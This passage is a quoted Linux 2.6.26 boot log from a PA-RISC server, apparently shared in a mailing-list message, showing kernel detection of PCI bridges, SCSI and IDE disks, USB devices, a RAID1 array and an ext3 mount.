> (PCX-W2) at 750.000000 MHz
> Mar 29 08:46:07 czapp005 kernel: [17179569.712000] Whole cache flush 223757 
> cycles, flushing 3440640 bytes 702747 cycles
> Mar 29 08:46:07 czapp005 kernel: [17179569.712000] Setting cache flush 
> threshold to 600 (1 CPUs online)
> Mar 29 08:46:07 czapp005 kernel: [17179569.736000] SBA found Astro 2.1 at 
> 0xfed00000
> Mar 29 08:46:07 czapp005 kernel: [17179569.736000] Elroy version TR4.0 
> (0x5) found at 0xfed30000
> Mar 29 08:46:07 czapp005 kernel: [17179569.740000] PCI: Enabled native mode 
> for NS87415 (pif=0x8f)
> Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
> (0x5) found at 0xfed32000
> Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
> (0x5) found at 0xfed38000
> Mar 29 08:46:07 czapp005 kernel: [17179569.744000] Elroy version TR4.0 
> (0x5) found at 0xfed3c000
> Mar 29 08:46:07 czapp005 kernel: [17179569.744000] iosapic: hpa not 
> registered for 0000:03:02.0
> Mar 29 08:46:07 czapp005 kernel: [17179569.752000] powersw: Soft power 
> switch at 0xf0400804 enabled.
> Mar 29 08:46:07 czapp005 kernel: [17179569.768000] NET: Registered protocol 
> family 2
> Mar 29 08:46:07 czapp005 kernel: [17179569.804000] IP route cache hash 
> table entries: 32768 (order: 5, 131072 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP established hash 
> table entries: 131072 (order: 8, 1048576 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP bind hash table 
> entries: 65536 (order: 6, 262144 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP: Hash tables 
> configured (established 131072 bind 65536)
> Mar 29 08:46:07 czapp005 kernel: [17179569.804000] TCP reno registered
> Mar 29 08:46:07 czapp005 kernel: [17179569.816000] NET: Registered protocol 
> family 1
> Mar 29 08:46:07 czapp005 kernel: [17179569.816000] checking if image is 
> initramfs... it is
> Mar 29 08:46:07 czapp005 kernel: [17179571.536000] Freeing initrd memory: 
> 8205k freed
> Mar 29 08:46:07 czapp005 kernel: [17179571.536000] Enabling PDC chassis 
> warnings support v0.05
> Mar 29 08:46:07 czapp005 kernel: [17179571.536000] unwind_init: start = 
> 0x1035de10, end = 0x103850e0, entries = 10029
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] audit: initializing 
> netlink socket (disabled)
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] type=2000 
> audit(1238309093.356:1): initialized
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] VFS: Disk quotas 
> dquot_6.5.1
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] Dquot-cache hash table 
> entries: 1024 (order 0, 4096 bytes)
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] msgmni has been set to 
> 2019
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] Block layer SCSI generic 
> (bsg) driver version 0.4 loaded (major 254)
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler noop 
> registered
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler 
> anticipatory registered
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler deadline 
> registered
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] io scheduler cfq 
> registered (default)
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Found NS87560 
> Legacy I/O device at 0000:00:0e.1 (IRQ 67)
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Serial port 1 
> at 0x3f8
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Serial port 2 
> at 0x2f8
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Parallel port 
> at 0x378
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: Floppy 
> controller at 0x3f0
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: ACPI at 0x7e0
> Mar 29 08:46:07 czapp005 kernel: [17179571.540000] SuperIO: USB regulator 
> enabled
> Mar 29 08:46:07 czapp005 kernel: [17179571.544000] PDC Stable Storage 
> facility v0.30
> Mar 29 08:46:07 czapp005 kernel: [17179571.872000] STI GSC/PCI core 
> graphics driver Version 0.9a
> Mar 29 08:46:07 czapp005 kernel: [17179571.872000] STI PCI graphic ROM 
> found at f7000000 (2048 kB), fb at fa000000 (32 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179571.936000]     id 35acda30-9a02587, 
> conforms to spec rev. 8.0d
> Mar 29 08:46:07 czapp005 kernel: [17179572.068000]     graphics card name: 
> A1299B
> Mar 29 08:46:07 czapp005 kernel: [17179572.068000] sticon: Initializing STI 
> text console.
> Mar 29 08:46:07 czapp005 kernel: [17179572.144000] Console: switching to 
> colour STI console 128x48
> Mar 29 08:46:07 czapp005 kernel: [17179572.224000] stifb: 'A1299B' (id: 
> 0x35acda30) not supported.
> Mar 29 08:46:07 czapp005 kernel: [17179572.232000] Generic RTC Driver v1.07
> Mar 29 08:46:07 czapp005 kernel: [17179572.236000] Serial: 8250/16550 
> driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
> Mar 29 08:46:07 czapp005 kernel: [17179572.240000] serial8250: ttyS0 at I/O 
> 0x3f8 (irq = 3) is a 16550A
> Mar 29 08:46:07 czapp005 kernel: [17179572.244000] serial8250: ttyS1 at I/O 
> 0x2f8 (irq = 4) is a 16550A
> Mar 29 08:46:07 czapp005 kernel: [17179572.252000] brd: module loaded
> Mar 29 08:46:07 czapp005 kernel: [17179572.256000] mice: PS/2 mouse device 
> common for all mice
> Mar 29 08:46:07 czapp005 kernel: [17179572.264000] TCP cubic registered
> Mar 29 08:46:07 czapp005 kernel: [17179572.268000] NET: Registered protocol 
> family 17
> Mar 29 08:46:07 czapp005 kernel: [17179572.272000] registered taskstats 
> version 1
> Mar 29 08:46:07 czapp005 kernel: [17179572.276000] Freeing unused kernel 
> memory: 224k freed
> Mar 29 08:46:07 czapp005 kernel: [17179572.792000] SCSI subsystem 
> initialized
> Mar 29 08:46:07 czapp005 kernel: [17179573.876000] Linux Tulip driver 
> version 1.1.15-NAPI (Feb 27, 2007)
> Mar 29 08:46:07 czapp005 kernel: [17179573.888000] tulip0: no phy info, 
> aborting mtable build
> Mar 29 08:46:07 czapp005 kernel: [17179573.892000] tulip0:  MII transceiver 
> #1 config 1000 status 782d advertising 01e1.
> Mar 29 08:46:07 czapp005 kernel: [17179573.904000] eth0: Digital DS21142/43 
> Tulip rev 65 at MMIO 0xf4008000, 00:30:6e:21:ac:1a, IRQ 65.
> Mar 29 08:46:07 czapp005 kernel: [17179574.108000] usbcore: registered new 
> interface driver usbfs
> Mar 29 08:46:07 czapp005 kernel: [17179574.112000] usbcore: registered new 
> interface driver hub
> Mar 29 08:46:07 czapp005 kernel: [17179574.360000] sym0: <896> rev 0x7 at 
> pci 0000:00:0f.0 irq 68
> Mar 29 08:46:07 czapp005 kernel: [17179574.376000] libata version 3.00 
> loaded.
> Mar 29 08:46:07 czapp005 kernel: [17179574.388000] usbcore: registered new 
> device driver usb
> Mar 29 08:46:07 czapp005 kernel: [17179574.400000] ohci_hcd: 2006 August 04 
> USB 1.1 'Open' Host Controller (OHCI) Driver
> Mar 29 08:46:07 czapp005 kernel: [17179574.400000] ohci_hcd: block sizes: 
> ed 64 td 64
> Mar 29 08:46:07 czapp005 kernel: [17179574.408000] sym0: PA-RISC Firmware, 
> ID 7, Fast-40, SE, parity checking
> Mar 29 08:46:07 czapp005 kernel: [17179574.416000] sym0: SCSI BUS has been 
> reset.
> Mar 29 08:46:07 czapp005 kernel: [17179574.424000] sym0: SCSI BUS mode 
> change from SE to SE.
> Mar 29 08:46:07 czapp005 kernel: [17179574.432000] sym0: SCSI BUS has been 
> reset.
> Mar 29 08:46:07 czapp005 kernel: [17179574.436000] scsi0 : sym-2.2.3
> Mar 29 08:46:07 czapp005 kernel: [17179574.668000] sym1: <896> rev 0x7 at 
> pci 0000:00:0f.1 irq 68
> Mar 29 08:46:07 czapp005 kernel: [17179574.676000] sym1: PA-RISC Firmware, 
> ID 7, Fast-40, LVD, parity checking
> Mar 29 08:46:07 czapp005 kernel: [17179574.680000] sym1: SCSI BUS has been 
> reset.
> Mar 29 08:46:07 czapp005 kernel: [17179574.692000] scsi1 : sym-2.2.3
> Mar 29 08:46:07 czapp005 kernel: [17179574.700000] ohci_hcd 0000:00:0e.2: 
> OHCI Host Controller
> Mar 29 08:46:07 czapp005 kernel: [17179574.704000] ohci_hcd 0000:00:0e.2: 
> new USB bus registered, assigned bus number 1
> Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 0000:00:0e.2: 
> Using NSC SuperIO setup
> Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 0000:00:0e.2: 
> created debug files
> Mar 29 08:46:07 czapp005 kernel: [17179574.712000] ohci_hcd 0000:00:0e.2: 
> irq 1, io mem 0xf4007000
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> OHCI controller state
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> OHCI 1.0, NO legacy support registers
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> control 0x083 HCFS=operational CBSR=3
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> cmdstatus 0x00000 SOC=0
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> intrstatus 0x00000000
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> intrenable 0x8000001a MIE UE RD WDH
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> hcca frame #0000
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.a 00001003 POTPGT=0 NOCP NDP=3(3)
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.b 000e0000 PPCM=000e DR=0000
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.status 00008000 DRWE
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.portstatus [0] 0x00000100 PPS
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.portstatus [1] 0x00000100 PPS
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] ohci_hcd 0000:00:0e.2: 
> roothub.portstatus [2] 0x00000100 PPS
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: default 
> language 0x0409
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: 
> usb_probe_device
> Mar 29 08:46:07 czapp005 kernel: [17179574.772000] usb usb1: configuration 
> #1 chosen from 1 choice
> Mar 29 08:46:07 czapp005 kernel: [17179574.776000] usb usb1: adding 1-0:1.0 
> (config #1, interface 0)
> Mar 29 08:46:07 czapp005 kernel: [17179574.776000] usb 1-0:1.0: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: 
> usb_probe_interface
> Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: 
> usb_probe_interface - got id
> Mar 29 08:46:07 czapp005 kernel: [17179574.776000] hub 1-0:1.0: USB hub 
> found
> Mar 29 08:46:07 czapp005 kernel: [17179574.780000] hub 1-0:1.0: 3 ports 
> detected
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: standalone 
> hub
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: ganged 
> power switching
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: no 
> over-current protection
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: power on to 
> power good time: 0ms
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: local power 
> source is good
> Mar 29 08:46:07 czapp005 kernel: [17179574.784000] hub 1-0:1.0: enabling 
> power on all ports
> Mar 29 08:46:07 czapp005 kernel: [17179574.888000] usb usb1: New USB device 
> found, idVendor=1d6b, idProduct=0001
> Mar 29 08:46:07 czapp005 kernel: [17179574.892000] usb usb1: New USB device 
> strings: Mfr=3, Product=2, SerialNumber=1
> Mar 29 08:46:07 czapp005 kernel: [17179574.896000] usb usb1: Product: OHCI 
> Host Controller
> Mar 29 08:46:07 czapp005 kernel: [17179574.900000] usb usb1: Manufacturer: 
> Linux 2.6.26-1-parisc ohci_hcd
> Mar 29 08:46:07 czapp005 kernel: [17179574.904000] usb usb1: SerialNumber: 
> 0000:00:0e.2
> Mar 29 08:46:07 czapp005 kernel: [17179574.908000] hub 1-0:1.0: state 7 
> ports 3 chg 0000 evt 0006
> Mar 29 08:46:07 czapp005 kernel: [17179574.908000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [0] = 0x00010101 CSC PPS CCS
> Mar 29 08:46:07 czapp005 kernel: [17179574.908000] hub 1-0:1.0: port 1, 
> status 0101, change 0001, 12 Mb/s
> Mar 29 08:46:07 czapp005 kernel: [17179574.932000] Uniform Multi-Platform 
> E-IDE driver
> Mar 29 08:46:07 czapp005 kernel: [17179574.936000] ide: Assuming 33MHz 
> system bus speed for PIO modes; override with idebus=xx
> Mar 29 08:46:07 czapp005 kernel: [17179574.948000] NS87415: IDE controller 
> (0x100b:0x0002 rev 0x03) at  PCI slot 0000:00:0e.0
> Mar 29 08:46:07 czapp005 kernel: [17179574.952000] NS87415: 100% native 
> mode on irq 7
> Mar 29 08:46:07 czapp005 kernel: [17179574.960000]     ide0: BM-DMA at 
> 0x0a00-0x0a07
> Mar 29 08:46:07 czapp005 kernel: [17179574.964000]     ide1: BM-DMA at 
> 0x0a08-0x0a0f
> Mar 29 08:46:07 czapp005 kernel: [17179574.968000] Probing IDE interface 
> ide0...
> Mar 29 08:46:07 czapp005 kernel: [17179575.044000] hub 1-0:1.0: debounce: 
> port 1: total 100ms stable 100ms status 0x101
> Mar 29 08:46:07 czapp005 kernel: [17179575.116000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [0] = 0x00100103 PRSC PPS PES CCS
> Mar 29 08:46:07 czapp005 kernel: [17179575.172000] usb 1-1: new full speed 
> USB device using ohci_hcd and address 2
> Mar 29 08:46:07 czapp005 kernel: [17179575.248000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [0] = 0x00100103 PRSC PPS PES CCS
> Mar 29 08:46:07 czapp005 kernel: [17179575.328000] usb 1-1: default 
> language 0x0409
> Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: 
> usb_probe_device
> Mar 29 08:46:07 czapp005 kernel: [17179575.336000] usb 1-1: configuration 
> #1 chosen from 1 choice
> Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1: adding 1-1:1.0 
> (config #1, interface 0)
> Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1:1.0: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.340000] usb 1-1: New USB device 
> found, idVendor=1687, idProduct=0163
> Mar 29 08:46:07 czapp005 kernel: [17179575.344000] usb 1-1: New USB device 
> strings: Mfr=1, Product=2, SerialNumber=3
> Mar 29 08:46:07 czapp005 kernel: [17179575.348000] usb 1-1: Product: USB2.0 
> FlashDisk
> Mar 29 08:46:07 czapp005 kernel: [17179575.352000] usb 1-1: Manufacturer: 
> Kingmax
> Mar 29 08:46:07 czapp005 kernel: [17179575.360000] usb 1-1: SerialNumber: 
> 020000000001B4
> Mar 29 08:46:07 czapp005 kernel: [17179575.364000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [1] = 0x00010301 CSC LSDA PPS CCS
> Mar 29 08:46:07 czapp005 kernel: [17179575.364000] hub 1-0:1.0: port 2, 
> status 0301, change 0001, 1.5 Mb/s
> Mar 29 08:46:07 czapp005 kernel: [17179575.372000] hda: FX4830T, ATAPI 
> CD/DVD-ROM drive
> Mar 29 08:46:07 czapp005 kernel: [17179575.436000] Initializing USB Mass 
> Storage driver...
> Mar 29 08:46:07 czapp005 kernel: [17179575.492000] hub 1-0:1.0: debounce: 
> port 2: total 100ms stable 100ms status 0x301
> Mar 29 08:46:07 czapp005 kernel: [17179575.564000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [1] = 0x00100303 PRSC LSDA PPS PES CCS
> Mar 29 08:46:07 czapp005 kernel: [17179575.620000] usb 1-2: new low speed 
> USB device using ohci_hcd and address 3
> Mar 29 08:46:07 czapp005 kernel: [17179575.696000] ohci_hcd 0000:00:0e.2: 
> GetStatus roothub.portstatus [1] = 0x00100303 PRSC LSDA PPS PES CCS
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
> descriptor after interface
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
> descriptor after interface
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: skipped 1 
> descriptor after interface
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: 
> usb_probe_device
> Mar 29 08:46:07 czapp005 kernel: [17179575.780000] usb 1-2: configuration 
> #1 chosen from 1 choice
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 1-2:1.0 
> (config #1, interface 0)
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.0: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 1-2:1.1 
> (config #1, interface 1)
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: adding 1-2:1.2 
> (config #1, interface 2)
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2:1.2: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179575.788000] usb 1-2: New USB device 
> found, idVendor=05e3, idProduct=ffe0
> Mar 29 08:46:07 czapp005 kernel: [17179575.792000] usb 1-2: New USB device 
> strings: Mfr=0, Product=0, SerialNumber=0
> Mar 29 08:46:07 czapp005 kernel: [17179575.800000] hub 1-0:1.0: state 7 
> ports 3 chg 0000 evt 0004
> Mar 29 08:46:07 czapp005 kernel: [17179575.832000] usb-storage 1-1:1.0: 
> usb_probe_interface
> Mar 29 08:46:07 czapp005 kernel: [17179575.832000] usb-storage 1-1:1.0: 
> usb_probe_interface - got id
> Mar 29 08:46:07 czapp005 kernel: [17179575.832000] scsi2 : SCSI emulation 
> for USB Mass Storage devices
> Mar 29 08:46:07 czapp005 kernel: [17179575.836000] usbcore: registered new 
> interface driver usb-storage
> Mar 29 08:46:07 czapp005 kernel: [17179575.840000] USB Mass Storage support 
> registered.
> Mar 29 08:46:07 czapp005 kernel: [17179575.848000] usb-storage: device 
> found at 2
> Mar 29 08:46:07 czapp005 kernel: [17179575.848000] usb-storage: waiting for 
> device to settle before scanning
> Mar 29 08:46:07 czapp005 kernel: [17179575.956000] usbcore: registered new 
> interface driver hiddev
> Mar 29 08:46:07 czapp005 kernel: [17179575.960000] usbhid 1-2:1.0: 
> usb_probe_interface
> Mar 29 08:46:07 czapp005 kernel: [17179575.960000] usbhid 1-2:1.0: 
> usb_probe_interface - got id
> Mar 29 08:46:07 czapp005 kernel: [17179576.012000] input: HID 05e3:ffe0 as 
> /class/input/input0
> Mar 29 08:46:07 czapp005 kernel: [17179576.028000] input,hidraw0: USB HID 
> v1.00 Keyboard [HID 05e3:ffe0] on usb-0000:00:0e.2-2
> Mar 29 08:46:07 czapp005 kernel: [17179576.032000] usbhid 1-2:1.1: 
> usb_probe_interface
> Mar 29 08:46:07 czapp005 kernel: [17179576.032000] usbhid 1-2:1.1: 
> usb_probe_interface - got id
> Mar 29 08:46:07 czapp005 kernel: [17179576.052000] Probing IDE interface 
> ide1...
> Mar 29 08:46:07 czapp005 kernel: [17179576.064000] input: HID 05e3:ffe0 as 
> /class/input/input1
> Mar 29 08:46:07 czapp005 kernel: [17179576.080000] input,hidraw1: USB HID 
> v1.00 Device [HID 05e3:ffe0] on usb-0000:00:0e.2-2
> Mar 29 08:46:07 czapp005 kernel: [17179576.084000] usbhid 1-2:1.2: 
> usb_probe_interface
> Mar 29 08:46:07 czapp005 kernel: [17179576.084000] usbhid 1-2:1.2: 
> usb_probe_interface - got id
> Mar 29 08:46:07 czapp005 kernel: [17179576.100000] input: HID 05e3:ffe0 as 
> /class/input/input2
> Mar 29 08:46:07 czapp005 kernel: [17179576.120000] input,hidraw2: USB HID 
> v1.00 Mouse [HID 05e3:ffe0] on usb-0000:00:0e.2-2
> Mar 29 08:46:07 czapp005 kernel: [17179576.124000] usbcore: registered new 
> interface driver usbhid
> Mar 29 08:46:07 czapp005 kernel: [17179576.128000] usbhid: v2.6:USB HID 
> core driver
> Mar 29 08:46:07 czapp005 kernel: [17179576.620000] ide0 at 
> 0xf00-0xf07,0xe02 on irq 7
> Mar 29 08:46:07 czapp005 kernel: [17179576.624000] ide1 at 
> 0xd00-0xd07,0xb02 on irq 7
> Mar 29 08:46:07 czapp005 kernel: [17179576.712000] hda: ATAPI 48X CD-ROM 
> drive, 128kB Cache
> Mar 29 08:46:07 czapp005 kernel: [17179576.716000] Uniform CD-ROM driver 
> Revision: 3.20
> Mar 29 08:46:07 czapp005 kernel: [17179579.152000] scsi 1:0:5:0: 
> Direct-Access     HP 36.4G ST336706LC       HP03 PQ: 0 ANSI: 2
> Mar 29 08:46:07 czapp005 kernel: [17179579.160000]  target1:0:5: tagged 
> command queuing enabled, command queue depth 16.
> Mar 29 08:46:07 czapp005 kernel: [17179579.164000]  target1:0:5: Beginning 
> Domain Validation
> Mar 29 08:46:07 czapp005 kernel: [17179579.168000]  target1:0:5: 
> asynchronous
> Mar 29 08:46:07 czapp005 kernel: [17179579.184000]  target1:0:5: wide 
> asynchronous
> Mar 29 08:46:07 czapp005 kernel: [17179579.192000]  target1:0:5: FAST-40 
> WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
> Mar 29 08:46:07 czapp005 kernel: [17179579.200000]  target1:0:5: Domain 
> Validation skipping write tests
> Mar 29 08:46:07 czapp005 kernel: [17179579.208000]  target1:0:5: Ending 
> Domain Validation
> Mar 29 08:46:07 czapp005 kernel: [17179579.220000] scsi 1:0:6:0: 
> Direct-Access     HP 36.4G ST336706LC       HP03 PQ: 0 ANSI: 2
> Mar 29 08:46:07 czapp005 kernel: [17179579.224000]  target1:0:6: tagged 
> command queuing enabled, command queue depth 16.
> Mar 29 08:46:07 czapp005 kernel: [17179579.228000]  target1:0:6: Beginning 
> Domain Validation
> Mar 29 08:46:07 czapp005 kernel: [17179579.232000]  target1:0:6: 
> asynchronous
> Mar 29 08:46:07 czapp005 kernel: [17179579.248000]  target1:0:6: wide 
> asynchronous
> Mar 29 08:46:07 czapp005 kernel: [17179579.256000]  target1:0:6: FAST-40 
> WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
> Mar 29 08:46:07 czapp005 kernel: [17179579.268000]  target1:0:6: Domain 
> Validation skipping write tests
> Mar 29 08:46:07 czapp005 kernel: [17179579.272000]  target1:0:6: Ending 
> Domain Validation
> Mar 29 08:46:07 czapp005 kernel: [17179580.848000] usb-storage: device scan 
> complete
> Mar 29 08:46:07 czapp005 kernel: [17179580.852000] scsi 2:0:0:0: 
> Direct-Access     Kingmax  USB2.0 FlashDisk 0.00 PQ: 0 ANSI: 2
> Mar 29 08:46:07 czapp005 kernel: [17179581.808000] Driver 'sd' needs 
> updating - please use bus_type methods
> Mar 29 08:46:07 czapp005 kernel: [17179581.840000] sd 1:0:5:0: [sda] 
> 71132960 512-byte hardware sectors (36420 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179581.844000] sd 1:0:5:0: [sda] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179581.848000] sd 1:0:5:0: [sda] Mode 
> Sense: 9f 00 10 08
> Mar 29 08:46:07 czapp005 kernel: [17179581.852000] sd 1:0:5:0: [sda] Write 
> cache: enabled, read cache: enabled, supports DPO and FUA
> Mar 29 08:46:07 czapp005 kernel: [17179581.856000] sd 1:0:5:0: [sda] 
> 71132960 512-byte hardware sectors (36420 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179581.864000] sd 1:0:5:0: [sda] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179581.868000] sd 1:0:5:0: [sda] Mode 
> Sense: 9f 00 10 08
> Mar 29 08:46:07 czapp005 kernel: [17179581.868000] sd 1:0:5:0: [sda] Write 
> cache: enabled, read cache: enabled, supports DPO and FUA
> Mar 29 08:46:07 czapp005 kernel: [17179581.876000]  sda: sda1 sda2 sda3 
> sda4
> Mar 29 08:46:07 czapp005 kernel: [17179581.884000] sd 1:0:5:0: [sda] 
> Attached SCSI disk
> Mar 29 08:46:07 czapp005 kernel: [17179581.900000] sd 1:0:6:0: [sdb] 
> 71132960 512-byte hardware sectors (36420 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179581.908000] sd 1:0:6:0: [sdb] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179581.912000] sd 1:0:6:0: [sdb] Mode 
> Sense: 9f 00 10 08
> Mar 29 08:46:07 czapp005 kernel: [17179581.912000] sd 1:0:6:0: [sdb] Write 
> cache: enabled, read cache: enabled, supports DPO and FUA
> Mar 29 08:46:07 czapp005 kernel: [17179581.920000] sd 1:0:6:0: [sdb] 
> 71132960 512-byte hardware sectors (36420 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179581.924000] sd 1:0:6:0: [sdb] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179581.928000] sd 1:0:6:0: [sdb] Mode 
> Sense: 9f 00 10 08
> Mar 29 08:46:07 czapp005 kernel: [17179581.932000] sd 1:0:6:0: [sdb] Write 
> cache: enabled, read cache: enabled, supports DPO and FUA
> Mar 29 08:46:07 czapp005 kernel: [17179581.936000]  sdb: sdb1 sdb2 sdb3 
> sdb4
> Mar 29 08:46:07 czapp005 kernel: [17179581.944000] sd 1:0:6:0: [sdb] 
> Attached SCSI disk
> Mar 29 08:46:07 czapp005 kernel: [17179581.964000] sd 2:0:0:0: [sdc] 
> 3948543 512-byte hardware sectors (2022 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179581.968000] ohci_hcd 0000:00:0e.2: 
> urb 4fa4e960 path 1 ep2in 92120000 cc 9 --> status -181
> Mar 29 08:46:07 czapp005 kernel: [17179581.972000] sd 2:0:0:0: [sdc] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179581.976000] sd 2:0:0:0: [sdc] Mode 
> Sense: 00 00 00 00
> Mar 29 08:46:07 czapp005 kernel: [17179581.976000] sd 2:0:0:0: [sdc] 
> Assuming drive cache: write through
> Mar 29 08:46:07 czapp005 kernel: [17179582.004000] sd 2:0:0:0: [sdc] 
> 3948543 512-byte hardware sectors (2022 MB)
> Mar 29 08:46:07 czapp005 kernel: [17179582.008000] ohci_hcd 0000:00:0e.2: 
> urb 4fa4e960 path 1 ep2in 93120000 cc 9 --> status -181
> Mar 29 08:46:07 czapp005 kernel: [17179582.012000] sd 2:0:0:0: [sdc] Write 
> Protect is off
> Mar 29 08:46:07 czapp005 kernel: [17179582.016000] sd 2:0:0:0: [sdc] Mode 
> Sense: 00 00 00 00
> Mar 29 08:46:07 czapp005 kernel: [17179582.016000] sd 2:0:0:0: [sdc] 
> Assuming drive cache: write through
> Mar 29 08:46:07 czapp005 kernel: [17179582.020000]  sdc: unknown partition 
> table
> Mar 29 08:46:07 czapp005 kernel: [17179582.136000] sd 2:0:0:0: [sdc] 
> Attached SCSI removable disk
> Mar 29 08:46:07 czapp005 kernel: [17179616.956000] md: raid1 personality 
> registered for level 1
> Mar 29 08:46:07 czapp005 kernel: [17179617.028000] md: md0 stopped.
> Mar 29 08:46:07 czapp005 kernel: [17179617.204000] md: bind<sdb1>
> Mar 29 08:46:07 czapp005 kernel: [17179617.208000] md: bind<sda1>
> Mar 29 08:46:07 czapp005 kernel: [17179617.256000] raid1: raid set md0 
> active with 2 out of 2 mirrors
> Mar 29 08:46:07 czapp005 kernel: [17179617.532000] device-mapper: uevent: 
> version 1.0.3
> Mar 29 08:46:07 czapp005 kernel: [17179617.544000] device-mapper: ioctl: 
> 4.13.0-ioctl (2007-10-18) initialised: dm-devel@redhat.com
> Mar 29 08:46:07 czapp005 kernel: [17179620.184000] kjournald starting.  
> Commit interval 5 seconds
> Mar 29 08:46:07 czapp005 kernel: [17179620.188000] EXT3-fs: mounted 
> filesystem with ordered data mode.
> Mar 29 08:46:07 czapp005 kernel: [17179622.040000] udevd version 125 
> started
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb usb1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-0:1.0: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-1: uevent
> Mar 29 08:46:07 czapp005 kernel: [17179622.332000] usb 1-1:1.0: uevent
